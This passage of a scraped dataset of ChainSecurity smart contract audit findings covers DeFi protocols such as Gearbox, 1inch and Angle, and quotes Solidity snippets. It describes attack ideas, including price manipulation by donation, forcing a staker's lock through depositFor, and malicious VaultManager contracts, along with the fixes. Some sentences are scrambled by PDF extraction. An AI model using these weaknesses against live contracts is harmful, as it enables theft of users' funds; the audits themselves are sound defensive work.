Uniswap pool (balance > reserve), the flapper will first call sync() on the pair and swap on the updated balances afterwards. This state can also be reached by an attacker donating and calling sync directly. Furthermore the state may be changed by trading. Generally the possible manipulation is bounded by the following checks: In case the swapping ratio deviates too much from the reference price feed, kick() will revert. In case the liquidity of the pool is too shallow and the amount of surplus deposited back goes over 120% of swapped, kick() will also revert. In theory, the following manipulations by donations are possible: One can donate within the price tolerance want to make the flapper trade at a bad price. One can intentionally donate to revert a kick() by pushing the price out of the price tolerance want. One can also donate to increase the liquidity and make a kick() which was going to revert (deposited larger than 120% of swapped) succeed. MakerDAO - FlapperUniV2 - 14 NoteVersion1NoteVersion1 \fMakerDAO is aware and adds the following considerations: * One can donate within the price tolerance want to make the flapper trade at a bad price - the assumption is that any trade above `want` is viable. It is of course possible for anyone to move the price with a swap, which is probably even more economical than a donation. As long as `want` and `lot` are set correctly both type of attempts should not be economical and are of course known limitations of a permissionless system. * One can intentionally donate to revert a kick() by pushing the price out of the price tolerance want - same as above, this can happen with a swap and is a known given. Keepers can use flashbots to avoid it. * One can also donate to increase the liquidity and make a kick() which was going to revert (deposited larger than 120% of swapped) succeed - if the kick succeeds it is intended behavior. MakerDAO - FlapperUniV2 - 15 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-flapperuniv2/"}, {"title": "6.1 EIP-4626 Non-Compliance", "body": " The functions MultiWithdrawalController.maxWithdraw and maxRedeem return values greater than 0 when the withdrawals are not allowed in the current status of the protocol. This is in violation of the following rule: MUST return the maximum amount of assets that could be transferred from owner through withdraw and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). Additionally, MultiWithdrawalController._globalMaxWithdraw sets the maximum amount of tokens that can be withdrawn from a tranche. This maximum is determined by the function TrancheVault.totalAssets. In Live state, this function returns the current waterfall value of the tranche which contains the virtualTokenBalance of the entire portfolio, as well as the value of active loans. The returned value can therefore be higher than the actual amount of assets that are available for withdrawal. MultiWithdrawalController.maxWithdraw and maxRedeem now return 0 if withdrawals are disallowed in the current status of the protocol. Archblock - Controllers for TrueFi Carbon - 10 CriticalHighMediumLowCodeCorrectedDesignLowVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/archblock-truefi-controllers-for-truefi-carbon/"}, {"title": "7.1 Redundant Event Emission", "body": " A manager can configure the floor and the withdrawalAllowed mapping by calling configure. In case the parameters are the same as the ones already set, the execution of the actual setter i.e., setFloor and setWithdrawalAllowed, is skipped. However, the manager can call setFloor and setWithdrawalAllowed directly, where there are no checks if the new values are different than the ones stored. In this case, redundant events will be emitted. Archblock - Controllers for TrueFi Carbon - 11 InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/archblock-truefi-controllers-for-truefi-carbon/"}, {"title": "8.1 No Asset Conversion", "body": " MultiWithdrawalController.onRedeem does not check whether the given assetAmount of an exception matches convertToAssets(sharesAmount). If the manager makes a mistake or a repayment is executed on the contract between the time the manager sends their multiRedeem transaction and the time the transaction actually executes, the values will be wrong, resulting in either a loss or a gain for the given lender. This behavior is well documented by the specification provided to us. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/archblock-truefi-controllers-for-truefi-carbon/"}, {"title": "8.2 Redeem Event Emission", "body": " MultiWithdrawalController.onRedeem can be called by any user (without reverting) using the following arguments: sender: The address of the controller contract. shares: 0. owner: address(0). This emits a Redeem event every time. The assets parameter can be completely arbitrary. Off-chain systems reading these events should be aware of this behavior. Archblock - Controllers for TrueFi Carbon - 12 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/archblock-truefi-controllers-for-truefi-carbon/"}, {"title": "5.1 Curve Base Adapter Misconfiguration", "body": " The Curve base adapter does not sanitize _nCoins and could be initialized with only one coin. Such a misconfiguration would not have security implication, but the adapter is likely to revert on most of the interactions. ISSUEIDPREFIX-001 Risk accepted: Gearbox Protocol states: This contract is never deployed by itself, and we never have to manually enter the value for this parameter, since it\u2019s defined as constant in derived adapters. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "5.2 Unusable Inherited Functions", "body": " The contract CurveV1AdapterDeposit inherits CurveV1AdapterBase but the inherited exchange* and functions do not exist on the Curve's deposit zappers. These functions will be available through CurveV1AdapterDeposit but will revert if called. ISSUEIDPREFIX-002 Risk accepted: Gearbox Protocol states: Gearbox Protocol - Gearbox V2.1 - 20 DesignCorrectnessCriticalHighMediumLowRiskAcceptedRiskAcceptedDesignLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \fPotential costs of changing contracts hierarchy exceed additional deployment costs. Gearbox Protocol - Gearbox V2.1 - 21 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Wrong WaToken Distribution -Severity Findings Compound Adapter's redeemUnderlying() Not Executed Inheriting ACLTrait Includes Pause/Unpause -Severity Findings Inconsistent Test for Reward Token Wrapper Missing Event Query of Curve's Tricrypto Pool Virtual Price BlacklistHelper Claimable Balance Is 1 Wei off UniswapConnectorChecker Missing Sanity Check 0 1 2 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "6.1 Wrong WaToken Distribution", "body": " The exchange rate depends on the contract's balance of aTokens and the total supply of the WrappedAtokens: ISSUEIDPREFIX-016 function exchangeRate() public view override returns (uint256) { uint256 supply = totalSupply(); if (supply == 0) return WAD; return (aToken.balanceOf(address(this)) * WAD) / supply; } In WrappedAToken.deposit(), the exchange rate is computed after the contract received the aToken, so its balance has already been updated. This leads to a wrong computation of the distributed shares or WaToken. function deposit(uint256 assets) external override returns (uint256 shares) { aToken.transferFrom(msg.sender, address(this), assets); shares = _deposit(assets); } function _deposit(uint256 assets) internal returns (uint256 shares) { shares = (assets * WAD) / exchangeRate(); _mint(msg.sender, shares); Gearbox Protocol - Gearbox V2.1 - 22 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f emit Deposit(msg.sender, assets, shares); } Example: For simplicity, we assume that the exchange rate of the aToken is 1. User A deposits 10 aToken, the computed shares are 10 / 1 = 10 since the total supply is 0. After this transaction, the contract has 10 aToken and the total supply is 10. User B deposits 10 aToken, the computed shares are 10 / (20 / 10) = 5 because the contract already holds the new 10 aToken. After this transaction, the contract has 20 aToken and the total supply is 15. If user A or B wants to withdraw at that point, each should get their 10 aToken back. But if user B withdraws, the computed amount of aToken he will receive is 5 * (20 / 15) = 6.666..., which is clearly not the expected amount. The updated code does not take the balances into account anymore for the computation of the exchange rate. Now, the exchange rate is computed as the ratio of the current Aave pool's normalized income and the normalized income at WaToken contract deployment. function exchangeRate() public view override returns (uint256) { return WAD * lendingPool.getReserveNormalizedIncome(address(underlying)) / _normalizedIncome; } Doing so, the contract only sees the exchange rate grow, as long as Aave's interest rate is growing, and the shares cannot be maniputaled by users of the WaToken contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "6.2 Compound Adapter's redeemUnderlying()", "body": " Not Executed ISSUEIDPREFIX-011 the In and CompoundV2_CEtherAdapter._redeemUnderlying() only encode the call to the target contract, but _execute() is not called: CompoundV2_CErc20Adapter._redeemUnderlying() error = abi.decode(_encodeRedeemUnderlying(amount), (uint256)); This has no security implications for Gearbox, but users cannot use this function. The code has been updated to execute the call: error = abi.decode(_execute(_encodeRedeemUnderlying(amount)), (uint256)); Gearbox Protocol - Gearbox V2.1 - 23 DesignMediumVersion1CodeCorrected \f6.3 Inheriting ACLTrait Includes Pause/Unpause The AbstractAdapter (which is inherited by all Adapters) and the BlacklistHelper inherit ACLTrait. This abstract contract implements pause functionality: ISSUEIDPREFIX-009 ///@dev Pause contract function pause() external { if (!_acl.isPausableAdmin(msg.sender)) revert CallerNotPausableAdminException(); _pause(); } /// @dev Unpause contract function unpause() external { if (!_acl.isUnpausableAdmin(msg.sender)) revert CallerNotUnPausableAdminException(); _unpause(); } Hence contracts inheriting from ACLTrait will have external functions pause and unpause exposed. These functions may make it look like the contract can be paused - despite no function actually being pausable. The inheritance from ACLTrait has been removed in the AbstractAdapter and kept in BlacklistHelper. Gearbox Protocol responded: Abstract adapter no longer inherits ACL trait (for adapters, it could have potentially caused problems if we introduced some pausable functions, because credit facade is, in fact, a pausable admin, so users would then be able to pause an adapter in the multicall; for blacklist helper there is no risk so no change) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "6.4 Inconsistent Test for Reward Token Wrapper", "body": " To check whether a reward token is wrapped, a call to the booster() function of the contract is performed. If the call succeeds, then the reward token is further unwrapped. However, the test whether the second reward token is wrapped or not in the constructor of ConvexV2_BaseRewardPool is inconsistent. The check for is using _extraReward1 instead of _extraReward2. ISSUEIDPREFIX-012 Now booster() is called on _extraReward2. Gearbox Protocol - Gearbox V2.1 - 24 DesignMediumVersion1CodeCorrectedDesignLowVersion6CodeCorrected \f6.5 Missing Event ISSUEIDPREFIX-013 Events should be emitted whenever an important state change happens in a smart contract. Since setting isIncreaseDebtForbidden in CreditFacade._closeLiquidatedAccount() is an important state change, an event may be useful. occurred true when pool loss the to a If the pool occurred a loss during liquidation, the IncurLossOnLiquidation event is emitted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "6.6 Query of Curve's Tricrypto Pool Virtual Price", "body": " ISSUEIDPREFIX-014 In CurveCryptoLPPriceFeed.latestRoundData(), is queried with curvePool.get_virtual_price(), but on the reference code provided by Gearbox Protocol (https://arbiscan.io/address/0x4e828A117Ddc3e4dd919b46c90D4E04678a05504#code#F3#L1) and notably in the official curve.finance pricefeed template (https://github.com/curvefi/crypto_lp_pricing/blob/b the 6fea6943d5ddf8648f05d442daad284c1757c86/contracts/LPPrice_tricrypto_ethereum.vy#L41), virtual price is queried from the storage variable with curvePool.virtual_price(). virtual price the function CurveCryptoLPPriceFeed.latestRoundData has been updated The curvePool.virtual_price() instead of curvePool.get_virtual_price(). to use ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "6.7 BlacklistHelper Claimable Balance Is 1 Wei", "body": " off In CreditFacade._increaseClaimableBalance(), the parameter balanceBefore has 1 wei too many due to _isBlacklisted(). The claimable amount is computed as balance-balanceBefore and will lack 1 wei. ISSUEIDPREFIX-010 The been helperBalance - helperBalanceBefore + 1; claimable amount has updated to be computed as Gearbox Protocol - Gearbox V2.1 - 25 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.8 UniswapConnectorChecker Missing Sanity Check The constructor of UniswapConnectorChecker accepts an array of addresses as parameter, but the length of the array is never checked to be <=10. So the checker could be deployed with an array of 25 addresses, only the 10 first will be saved in storage, but numConnectors will be 25. This will also incur unnecessary gas cost when getConnectors() is called. ISSUEIDPREFIX-015 The constructor has been updated to revert if more than 10 addresses are provided. Gearbox Protocol - Gearbox V2.1 - 26 DesignLowVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "7.1 Code Duplication", "body": " The function CurveV1StETHPoolGateway.remove_liquidity_imbalance transfers token0 and token1 in the function's body, but the dedicated function _transferAllTokensOf can be used. ISSUEIDPREFIX-003 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "7.2 Code Inconsistencies", "body": " ISSUEIDPREFIX-006 1. For gas optimizations, the system tries to always keep 1 wei in the balances and the standard way in is with balance <= 1, however across to BlacklistHelper.claim() the check is amount < 2. codebase check the it 2. The Lido gateway transfers the full balance instead of balance-1 as everywhere else in the system (gas optimization). 3. In the adapters, _gearboxAdapterType is sometimes overridden as a constant, and some other times as a function. For consistency across the codebase, one of the two solutions should be chosen. Code partially corrected: 1. Changed to amount < 1. 2. Not addressed. 3. Not addressed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "7.3 Gas Optimizations", "body": " 1. In UniswapV2Adapter._parseUniV2Path(), path.length could be loaded from memory to a local variable at the beginning of the function and read from the local variable to save a MLOAD. ISSUEIDPREFIX-007 2. In UniswapV2Adapter._parseUniV2Path(), if path.length < 2, path.length > 4, or if one of the hops is not an allowed connector to save some gas. function return could early the 3. In CurveV1AdapterBase, add/remove_liquidity_one_coin(uint256,uint256,uint256) do not need functions the the the Gearbox Protocol - Gearbox V2.1 - 27 InformationalVersion1InformationalVersion1CodePartiallyCorrectedInformationalVersion1CodePartiallyCorrected \fcreditFacadeOnly() add/remove_liquidity_one_coin(uint256,int128,uint256) have it already. modifier, since Code partially corrected: 1. The length of the array is loaded only once at the beginning of the function and stored in a local variable. 2. The conditionnal structure has been optimized. However, the function could return early if len > 4 to save some gas in the case of a failure. 3. The concerned internal been _add/remove_liquidity_one_coin(int128) which do not have the creditFacadeOnly() modifier. functions updated have call the to ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "7.4 Unused Constants", "body": " Some of the defined constants are still declared and imported, but never used. A non-exhaustive list is: ISSUEIDPREFIX-004 ALL0WANCE_THRESHOLD EXACT_INPUT EXACT_OUTPUT ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "7.5 Wrong Comments", "body": " Some comments in the code are wrong, here is a non-exhaustive list: 1. WstETHGateway: the @notice comment is wrong, the contract does not allow to convert stETH into WstETH, it allows to provide liquidity to Gearbox's WstETH in the form of sthETH. 2. ACLNonReentrantTrait: the comment of the controllerOnly() modifier is incomplete, it only covers the case where externalController is false. ISSUEIDPREFIX-008 3. CreditConfigurator: in the creditManager.upgradeCreditFacade Connects creditFacade and priceOracle, but only the CreditFacade is connected. comment that has constructor, a the call to specifies 4. CurveCryptoLPPriceFeed: the @notice of the latestRoundData function is wrong, the specified formula is not the one implemented. 5. CreditFacade: In _liquidateExpiredCreditAccount the comment \"Checks if the liquidsation . . .\" contains a typo. 6. The natspec of BalancerV2VaultAdapter.batchSwap() specifies that the assets must be ordered. Nothing is enforcing the ordering and Balancer V2 does not need to have the assets ordered. Specifications partially corrected: Gearbox Protocol - Gearbox V2.1 - 28 InformationalVersion1InformationalVersion1Speci\ufb01cationPartiallyChanged \f1. Not addressed. 2. The comment has been updated to include the case where externalController is true. 3. Not addressed. 4. The formula in the specification has been updated to match the implementation. 5. The typo has been corrected. 6. The mention of the assets' ordering has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "7.6 safeApprove Can Revert", "body": " ISSUEIDPREFIX-005 Theoretically, IERC20.safeApprove() can revert in WstETHGateway._checkAllowance() and WaToken.depositUnderlying() because the safeApprove() function requires either the current allowance or the value to be 0. In WstETHGateway, the allowance for the WstETH token is set to type(uint256).max at contract deployment, and is decreased each time WstETHGateway.addLiquidity() is called. Also, each time WstETHGateway.addLiquidity() is called, the allowance check is performed, so if the allowance is strictly smaller than the amount. But the maximum allowance is such a big number that this will never happen in practice. In WstETHGateway.removeLiquidity() and WaToken.depositUnderlying() set the allowance for Gearbox's and Aave's lending pool to the exact amount that should be pulled from the contract. The pools are trusted to pull the exact specified amount and not less to set the allowance back to 0. If one of the pool was to be updated and pulls less than the specified amount, WstETHGateway.removeLiquidity() and WaToken.depositUnderlying() would revert. Gearbox Protocol - Gearbox V2.1 - 29 InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "8.1 MetaPool With Underlying", "body": " Note that there could be a Curve Metapool with a Metabpoolbase which contains an asset which has an underlying. The current CuveV1_Base implementation does not support interaction using the underlying of of one of the assets in the Metapoolbase. Gearbox Protocol stated they do not aim to support this. In practice the two most relevant base pools are 3CRV and crvFRAX, which both don't have underlyings for their assets. If such a metapool was to be added, the swap into an underlying would be supported by the router. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "8.2 Multicall Reverts When Temporarily", "body": " Exceeding TokenLimit Adapters don't disable tokenIn when uncertain whether all balance was spent. Such tokens will be disabled at the end of the multicall when the full check is executed. There is a corner case where a sequence of multicalls may revert for one credit account (as the limit would be temporarily exceeded) but not for another (where the limit is not exceeded). This may hinder the usage of predefined multicall sequences. Note that the problem can always be rectified by adding a call to disableToken in between. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "8.3 WrappedAToken: depositUnderlying", "body": " Assumption It's of uttermost importance that the expected amount of aToken is deposited into the wrapper contract when shares are minted. As argument assets the user passes the amount of underlying to depositUnderlying(). There is an assumption that when depositing x amount of underlying into Aave, x amount of aTokens is received in exchange. This holds if Aave works correctly as specified. function depositUnderlying(uint256 assets) external override returns (uint256 shares) { underlying.safeTransferFrom(msg.sender, address(this), assets); underlying.safeApprove(address(lendingPool), assets); lendingPool.deposit(address(underlying), assets, address(this), 0); shares = _deposit(assets); } However, this makes the contract vulnerable if Aave doesn't behave as expected. Gearbox Protocol - Gearbox V2.1 - 30 NoteVersion1NoteVersion1NoteVersion1 \fGearbox Protocol states: Wrapped aTokens will probably be deployed only for known tokens like WETH or USDC, for which said assumption can be easily validated. Gearbox Protocol - Gearbox V2.1 - 31 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2-1/"}, {"title": "5.1 Staking Does Not Prevent Misbehavior", "body": " Resolvers have to join a whitelist which is governed by the staking of 1inch tokens. The documentation states: The stake determines a resolver\u2019s ability to get orders and ensures that a resolver follow the protocol rules (like in proof of stake model). On the smart contract level the implementation of the staking does not allow to seize stake of bad actors. Their stake is not at risk and can simply be withdrawn at the end of the lock period hence this staking does not ensure that a resolver follows the protocol rules. Risk accepted: 1inch states: They'll need only follow what is required to be able to settle the order batch. Staking is only used as a threshold entry requirement. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "5.2 Missing Events", "body": " Events are used to be informed of or to keep track of transactions changing the state of a contract. Generally, any important state change should emit an event. 1inch - Limit Order Settlement - 15 SecurityDesignCriticalHighMediumRiskAcceptedLowAcknowledgedDesignMediumVersion1RiskAcceptedDesignLowVersion1Acknowledged \fThe functions used for deposits and withdrawals in FeeBank do not emit an event, hence it's hard for an observer to track deposits and withdrawals Acknowledged: 1inch acknowledged the issue and decided to leave the code as it is. 1inch - Limit Order Settlement - 16 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings St1inch Can Be Locked Indefinitely -Severity Findings Resolver Can Set Arbitrary Callback 0 0 1 1 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "6.1 St1inch Can Be Locked Indefinitely", "body": " It is possible for an attacker to lock the staked amount of 1inch token of any staker by using one of the St1inch.depositFor functions for the target address. By depositing a small amount of tokens and specifying the duration, one can force a target staker to see its stake locked for more time, preventing the staker to withdraw. The only way to break that attack would be to activate the emergency exit to allow the target staker to withdraw. The functions St1inch.depositFor and St1inch.depositForWithPermit have been updated so the duration cannot be specified and is hardcoded to be 0. This will only increase the deposited amount and not the timelock duration. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "6.2 Resolver Can Set Arbitrary Callback", "body": " can Resolvers in Settlement._settleOrder() and execute arbitrary code which may severely interfere with the process. (interactionTarget address) callback address called the set The Settlement contract now ensures that the address is the settlement contract itself: let target := shr(96, calldataload(add(data.offset, interactionOffset))) if iszero(eq(target, address())) { mstore(0, errorSelector) 1inch - Limit Order Settlement - 17 CriticalHighMediumCodeCorrectedLowCodeCorrectedSecurityMediumVersion1CodeCorrectedSecurityLowVersion1CodeCorrected \f revert(0, 4) } 1inch - Limit Order Settlement - 18 \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "7.1 Competing Resolvers May Result in Failing", "body": " Transactions Since resolvers are competing against each other, it may happen that more than one resolver submits the same order in their respective batch, in the same block. In such cases, only the first batch including the order will not revert and all the other resolvers will suffer from pure loss of gas. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "7.2 Gas Optimization", "body": " Some operations can be in an unchecked block to save gas, examples are: update of i and addition in FeeBank.gatherFees() addition in FeeBank._depositFor() addition in FeeBankCharger.increaseAvailableCredit() for loop in WhitelistRegistry.register() WhitelistRegistry._shrinkPoorest() Intermediary memory variable can save storage reads. Example is: St1inch._deposit() does two SLOAD for deposits[account], storing the updated deposit amount in memory will save gas. Code partially corrected: The function St1inch._deposit() has been updated to do only one SLOAD for the depositor. Other gas optimizations have been addressed in future commits. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "7.3 Preview Functions Accept Invalid Durations", "body": " functions (previewBalance, previewPowerOf,previewPowerOfAtTime) may The preview accept a duration parameter that may exceed the maximum locking period and make the transaction revert if applied in the St1inch contract. 1inch - Limit Order Settlement - 19 InformationalVersion1InformationalVersion1InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "8.1 Allowed Sender of Orders", "body": " Makers wishing to benefit from the protections of the limit settlement protocol must ensure the order they sign has the settlement contract set as allowed sender. Technically the settlement contract allows resolvers to batch any orders which gives them greater freedom to aggregate transactions. While execution of orders without the allowed sender restricted works, such orders can also be executed through the limit order protocol directly and hence lack the protection limit settlement order offers. It's vital to understand that this field has to be set correctly or that the protections offered by limit order settlement don't apply. Although this might be obvious there should be documentation emphasizing this. Even the tests within the limit-settlement-order repository use public orders (since allowed sender is not set and hence anyone, not just the settlement contract, can call limitOrderProtocol.fillOrder() for this order). This is an easy source of errors, hence it`s important to be explicit and not assume users/integrators will understand and do this correctly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "8.2 User Responsibility for Setting Trusted", "body": " Resolvers Nothing enforces the WhitelistRegistry. It is the user's responsibility to ensure that the resolvers addresses they sign over are trusted. to be actually part of in Order.interaction the resolvers listed 1inch stated: That\u2019s also the responsibility of the frontend to provide correct whitelists to the user. And also responsibility of the backend to filter out maliciously created orders without the proper whitelist. 1inch - Limit Order Settlement - 20 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/1inch-limit-order-settlement/"}, {"title": "5.1 Approximated Fee Charged in Debt Transfer", "body": " In function vaultManager.getDebtOut, a fee is charged according to the different borrowFee and repayFee between two vault managers. It will be an approximation which slightly round if both borrowFee and repayFee are enabled. We assume the borrowFee and repayFee are f1 and r1 on vaults A. And f1 and r1 for B as well. We assume f1r2. Then if a debt X is transferred from A to B, the following fee will be charged. \u03b4fee = (f2 \u2212 f1) * X + ( \u2212 r2 (1 \u2212 r1)(1 \u2212 r2) )] * X > = (\u03b4f + \u03b4r) * X 1 \u2212 r2 ) * X r1 1 \u2212 r1 r1 \u2212 r2 \u03b4fee = [(f2 \u2212 f1) + ( where \u03b4f = f2 \u2212 f1 \u03b4r = r1 \u2212 r2 This is slightly larger than the formula used in the project given that both f and r are small: \u03b4fee = (\u03b4f + \u03b4r \u2212 \u03b4r * \u03b4f) * X Acknowledged Angle replied: It is possible that it slightly rounds down, overall we do not expect to have both fees taken up at the same time on the same vaultManager. And as we're aware that it's an approximation, fees should be set accordingly. Angle - Angle Borrowing Module - 12 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedAcknowledgedDesignLowVersion1Acknowledged \f5.2 Ignored Return Value of _repayDebt The return value of the call to _repayDebt in the function VaultManager.liquidate is ignored, although it gives the correct amount of stable coins that need to be burned for the debt payment. Instead amounts[i] is used, as shown below: if (vault.collateralAmount <= collateralReleased) { ... } else { ... _repayDebt( vaultIDs[i], (amounts[i] * liquidationSurcharge) / BASE_PARAMS, liqData.newInterestAccumulator ); } ... liqData.stablecoinAmountToReceive += amounts[i]; Acknowledged Angle replied: The repayDebt function rounds down the stablecoin amount in the case where it is bigger than the total debt of the vault. In a liquidation setting, the amount in repayDebt is: 'amounts[i]*liquidationSurcharge / BASE_PARAMS' where 'amounts[i]<=maxStablecoinAmountToRepay' and 'maxStablecoinAmountToRepay <= debt of the vault + 1'. As such, in the worse scenario possible, the output value of the repayDebt function will very slightly be rounded down from what should theoretically be taken: we should therefore view this as a slightly higher fee taken by the protocol on the liquidation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "5.3 Possible Gas Optimization in Mappings", "body": " Several contracts of the system use mappings in the format: mapping(key_type => bool). Solidity uses a word (256 bits) for each stored value and performs some additional operations when operating bool values (due to masking). Therefore, using uint instead of bool is slightly more efficient. A list of such mappings: isMinter in agToken. vaultManagerMap in Treasury. isWhitelisted and _operatorApprovals in VaultManagerStorage. Acknowledged: Angle - Angle Borrowing Module - 13 DesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fThe mappings vaultManagerMap, isWhitelisted and _operatorApprovals have been modified and now use uint256 instead of bool as pointed out above. Only the mapping isMinter remains unchanged because the Angle has already deployed a version of the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "5.4 Unchecked Collateral Amount", "body": " In the contract VaultManager, when a user calls _addCollateral or _removeCollateral, no checks are performed on the collateral amount. Hence, a vault can have an amount of collateral which is below the _dustCollateral parameter. Acknowledged Angle replied: There is no need to check for the `_dustCollateral` parameter when people are adding or removing collateral from their vault. What is important is that people with a debt have an amount of collateral in their vault which is higher than `_dustCollateral` and this can be for sure implemented if `_dust` parameter is set accordingly with the `collateralFactor` parameter and the `_dustCollateral` parameter. It is not a problem for the protocol if people decide to add collateral little by little or remove their collateral little by little if they are no longer in debt or their debt is small. Angle - Angle Borrowing Module - 14 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 1 0 3 16 -Severity Findings Unchecked VaultManager Address -Severity Findings -Severity Findings Inconsistent Access Control Incorrect Accounting of Global Debt Stuck Ether -Severity Findings Incomplete Specifications BaseReactor Mismatch of Specifications in _repayDebt Unclear Specifications for Swap Function Incomplete Specifications Inconsistent Error Message Misleading Function Name Mismatch of Specifications for Function _isSolvent Missing Description of Variable Decimals Missing Sanity Checks on Vault Creation No Event Emitted on Flashloan's Parameters Update Possible to Optimize Struct Precision Loss in Division Specification Mismatch in _handleRepay Specification Mismatch setUint64 Unchecked Array Length Unchecked VaultID When Adding Collateral ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.1 Unchecked VaultManager Address", "body": " The fetchSurplusFromVaultManagers the contract treasury/Treasury.sol, as displayed below, input VaultManager function can address. An accrueInterestToTreasury which can return arbitrary numbers to maliciously update the state variables surplusBufferValue and badDebtValue. is no check a function of towards the user a is an external contract with adversary function deploy there Angle - Angle Borrowing Module - 15 CriticalCodeCorrectedHighMediumCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \ffunction fetchSurplusFromVaultManagers(address[] memory vaultManagers) external returns (uint256, uint256) { (uint256 surplusBufferValue, uint256 badDebtValue) = _fetchSurplusFromList(vaultManagers); return _updateSurplusAndBadDebt(surplusBufferValue, badDebtValue); } function _fetchSurplusFromList(address[] memory vaultManagers) internal returns (uint256 surplusBufferValue, uint256 badDebtValue) { badDebtValue = badDebt; 